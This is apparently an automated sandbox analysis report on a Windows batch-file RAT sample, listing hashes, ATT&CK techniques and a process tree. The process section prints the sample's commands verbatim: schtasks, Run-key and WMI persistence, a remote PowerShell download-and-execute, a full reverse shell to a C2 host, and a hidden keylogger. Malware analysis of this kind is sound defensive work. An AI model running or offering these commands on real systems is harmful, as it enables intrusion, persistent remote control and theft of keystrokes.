a4bc59db27de1f3d454d3a1818b387bc76e7d08149f11b1346f0be26017c45f5

Analysis

max time kernel
149s
max time network
134s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 01:38

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General

Target
rat_build_166356_014443.bat
Size 4KB
Sample260529-b2ff2sg16y
SHA256 a4bc59db27de1f3d454d3a1818b387bc76e7d08149f11b1346f0be26017c45f5
MD5 1a9addb7bed6165b3711290ecaa277da
SHA1 0df5ef69e4e508af6eacb3c4573da4fdcde0328c
SHA512 4d132f26d109c5e8795f5945157a5f694f18050aca4f5fcb237af2ea6514d4f8562912abbfa4805fea7ee4560b2d6ea3aedc591ba070bd7cac799cf05fca1e63
SSDEEP 96:fNIUNWxsC5k4+231TNW1cFtW5pgOV9T67thWutmkieWBgFH9iFgZk8mvlo1Lzy:fN4xsCllTScU9ihWpeWByiFgkHlEzy
TLSH
T16CA1E813B79AB030D6B4562AC5333C44176CDAF72309C84CBB59CED4294CE43956AAE3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_166356.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2280	powershell.exe
388	powershell.exe
4516	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_166356 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_166356.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4028	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4000	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2392	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2816	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2280	powershell.exe
2280	powershell.exe
388	powershell.exe
388	powershell.exe
4516	powershell.exe
4516	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4012	WMIC.exe
Token: SeSecurityPrivilege	4012	WMIC.exe
Token: SeTakeOwnershipPrivilege	4012	WMIC.exe
Token: SeLoadDriverPrivilege	4012	WMIC.exe
Token: SeSystemProfilePrivilege	4012	WMIC.exe
Token: SeSystemtimePrivilege	4012	WMIC.exe
Token: SeProfSingleProcessPrivilege	4012	WMIC.exe
Token: SeIncBasePriorityPrivilege	4012	WMIC.exe
Token: SeCreatePagefilePrivilege	4012	WMIC.exe
Token: SeBackupPrivilege	4012	WMIC.exe
Token: SeRestorePrivilege	4012	WMIC.exe
Token: SeShutdownPrivilege	4012	WMIC.exe
Token: SeDebugPrivilege	4012	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4012	WMIC.exe
Token: SeRemoteShutdownPrivilege	4012	WMIC.exe
Token: SeUndockPrivilege	4012	WMIC.exe
Token: SeManageVolumePrivilege	4012	WMIC.exe
Token: 33	4012	WMIC.exe
Token: 34	4012	WMIC.exe
Token: 35	4012	WMIC.exe
Token: 36	4012	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4012	WMIC.exe
Token: SeSecurityPrivilege	4012	WMIC.exe
Token: SeTakeOwnershipPrivilege	4012	WMIC.exe
Token: SeLoadDriverPrivilege	4012	WMIC.exe
Token: SeSystemProfilePrivilege	4012	WMIC.exe
Token: SeSystemtimePrivilege	4012	WMIC.exe
Token: SeProfSingleProcessPrivilege	4012	WMIC.exe
Token: SeIncBasePriorityPrivilege	4012	WMIC.exe
Token: SeCreatePagefilePrivilege	4012	WMIC.exe
Token: SeBackupPrivilege	4012	WMIC.exe
Token: SeRestorePrivilege	4012	WMIC.exe
Token: SeShutdownPrivilege	4012	WMIC.exe
Token: SeDebugPrivilege	4012	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4012	WMIC.exe
Token: SeRemoteShutdownPrivilege	4012	WMIC.exe
Token: SeUndockPrivilege	4012	WMIC.exe
Token: SeManageVolumePrivilege	4012	WMIC.exe
Token: 33	4012	WMIC.exe
Token: 34	4012	WMIC.exe
Token: 35	4012	WMIC.exe
Token: 36	4012	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1552	WMIC.exe
Token: SeSecurityPrivilege	1552	WMIC.exe
Token: SeTakeOwnershipPrivilege	1552	WMIC.exe
Token: SeLoadDriverPrivilege	1552	WMIC.exe
Token: SeSystemProfilePrivilege	1552	WMIC.exe
Token: SeSystemtimePrivilege	1552	WMIC.exe
Token: SeProfSingleProcessPrivilege	1552	WMIC.exe
Token: SeIncBasePriorityPrivilege	1552	WMIC.exe
Token: SeCreatePagefilePrivilege	1552	WMIC.exe
Token: SeBackupPrivilege	1552	WMIC.exe
Token: SeRestorePrivilege	1552	WMIC.exe
Token: SeShutdownPrivilege	1552	WMIC.exe
Token: SeDebugPrivilege	1552	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1552	WMIC.exe
Token: SeRemoteShutdownPrivilege	1552	WMIC.exe
Token: SeUndockPrivilege	1552	WMIC.exe
Token: SeManageVolumePrivilege	1552	WMIC.exe
Token: 33	1552	WMIC.exe
Token: 34	1552	WMIC.exe
Token: 35	1552	WMIC.exe
Token: 36	1552	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1552	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 2816	916	cmd.exe	79
PID 916 wrote to memory of 2392	916	cmd.exe	80
PID 916 wrote to memory of 4012	916	cmd.exe	81
PID 916 wrote to memory of 1552	916	cmd.exe	82
PID 916 wrote to memory of 4520	916	cmd.exe	83
PID 916 wrote to memory of 4000	916	cmd.exe	84
PID 916 wrote to memory of 4028	916	cmd.exe	88
PID 916 wrote to memory of 2280	916	cmd.exe	89
PID 916 wrote to memory of 388	916	cmd.exe	90
PID 916 wrote to memory of 4516	916	cmd.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_166356_014443.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_166356" /tr "C:\Users\Admin\AppData\Local\Temp\_166356.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2816
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_166356" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_166356.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2392
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_166356", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4012
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_166356", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_166356.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1552
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_166356.txt
  2⤵
  PID:4520
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4000
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_166356.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4516

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a761ee5dd0e0eee9e7f79eec31d1db3731f30048ddd7c803b7f47d558906d75e
MD5 04a48d94f0b1a9ea5c882c0ca00711e6
SHA1 11f5fa77d32a5c0d6b2404bd246b6bb278a0e206
SHA512 47558ba141e3aa777620d35073a9fd8a85cb7a70050f2c45de3b5be745a77fc4f9640c60c17263adf6fe7ce46da73fb7ce1ab4ea708f0801b1ead7108c561ef6
TLSH
T167117A33B79CC134C8D9117A108DAD11B1B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 27600058e3669128509cd1bb4b976c7c8dcfc0eb2991608ee67f0d0e95325b26
MD5 e566924bb38b4f03287faa3e971c84cd
SHA1 c988d23a175c21f65e5e7ee7716cfc8e711a46cc
SHA512 c420ef51a59a2c9afcb3766131e6e616e04ffd198a532b6a26845b86079ed508aa103d585494850595c85314b75363908621ffd1d3241ed2f9c84f6500cf016c
TLSH
T1E9117A33B79CC1B5C8D9117A1089AD01B2B6C3CB049EDECB7A84C508E57F589DB641A4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_yotuy2u2.z1l.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yotuy2u2.z1l.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2280-8-0x000001D7DE9F0000-0x000001D7DEA12000-memory.dmp

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